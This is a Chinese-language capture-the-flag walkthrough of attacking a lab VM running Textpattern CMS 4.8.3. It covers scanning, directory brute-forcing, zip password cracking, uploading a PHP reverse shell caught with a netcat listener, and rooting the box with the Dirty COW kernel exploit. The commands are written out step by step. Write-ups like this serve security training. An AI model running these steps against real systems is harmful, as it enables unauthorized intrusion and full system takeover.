攻击机ip
192.168.159.88
扫描主机
arp-scan -I eth0 -l
得到靶机ip:
192.168.159.144
扫描端口
nmap -sS -A -sV -T4 -p- 192.168.159.144
访问网页
192.168.159.144
没发现什么有用的信息
目录扫描
使用dirb发现了robots.txt和/textpattern/textpattern
dirb 192.168.159.144
扫描网站的后台 发现了robots.txt
,访问
User-agent: *
Disallow: /textpattern/textpattern
dont forget to add .zip extension to your dir-brute
;)
发现禁止爬取,然后根据提示访问 /textpattern/textpattern 发现了登入后台
进入后台,访问
http://192.168.159.144/textpattern/textpattern/
但是我们没有账号和密码
使用工具gobuster寻找后缀为zip的目录
安装工具gobuster
apt-get install gobuster
安装seclists字典:
apt-get install seclists
扫描目录
gobuster dir -u “192.168.159.144” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip,bak
指纹识别出是Textpattern CMS
robots.txt中还有提示不要忘了zip,看到扫描结果中有 /spammer.zip,下载得到一个压缩包,尝试打开发现有密码
gobuster dir -u http://192.168.159.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip
访问
http://192.168.159.144/spammer.zip
得到一个有密码的zip文件
使用kali破解zip压缩包密码
1.使用zip2john爆破得到zip密码
zip2john spammer.zip > password.txt
2.使用john破解
john password.txt
得到密码
myspace4
解压zip文件
得到了一个用户名和密码
mayer:lionheart
用这个用户名和密码登入之前的网址
http://192.168.159.144/textpattern/textpattern/
进去后看到cms的版本是4.8.3
思路一:kali本地搜索漏洞
searchsploit textpattern 4.8.3
查看49620.py详细信息与使用方法
searchsploit -x php/webapps/49620.py
python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d
输入命令
因为回看脚本,他会自己给你加一个testpattern,所以url参数就不用加那么多textpattern了
python3 48943.py http://192.168.159.144/textpattern mayer lionheart
发现还是报错,用不了
思路二:寻找网站内的漏洞
在content那发现存在文件上传
在该处上传kali上的/usr/share/webshells/php/php-reverse-shell.php,上传前需要修ip和port 分别为攻击机ip和攻击机监听的tcp端口。
cd /usr/share/webshells/php
修改php
上传shell
监听1234端口
nc -nlvp 1234
上传webshell
我们在admin管理界面可以看到上传地址
访问
http://192.168.159.144/textpattern/files
点击php-reverse-shell.php
回到kali已经监听成功
获得交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
脏牛提权
查看linux的版本信息
uname -a
内核版本>= 2.6.22 , 尝试脏牛提权
在github上下载提权脚本
https://github.com/FireFart/dirtycow
然后通过网站的文件上传漏洞解压后上传至后台
进入上传文件的文件夹
cd /var/www/textpattern/files
进行编译,生成一个dirty的可执行文件
gcc -pthread dirty.c -o dirty -lcrypt
执行文件
./dirty
然后会让我们输入一个密码
然后我们可以用用户名:firefart 密码:root
进入一个有root权限的用户
切换用户
su firefart
进入/root
cd /root
得到flag.txt
参考文章
http://t.csdn.cn/nvjQG
http://t.csdn.cn/Jp7Ku
https://github.com/FireFart/dirtycow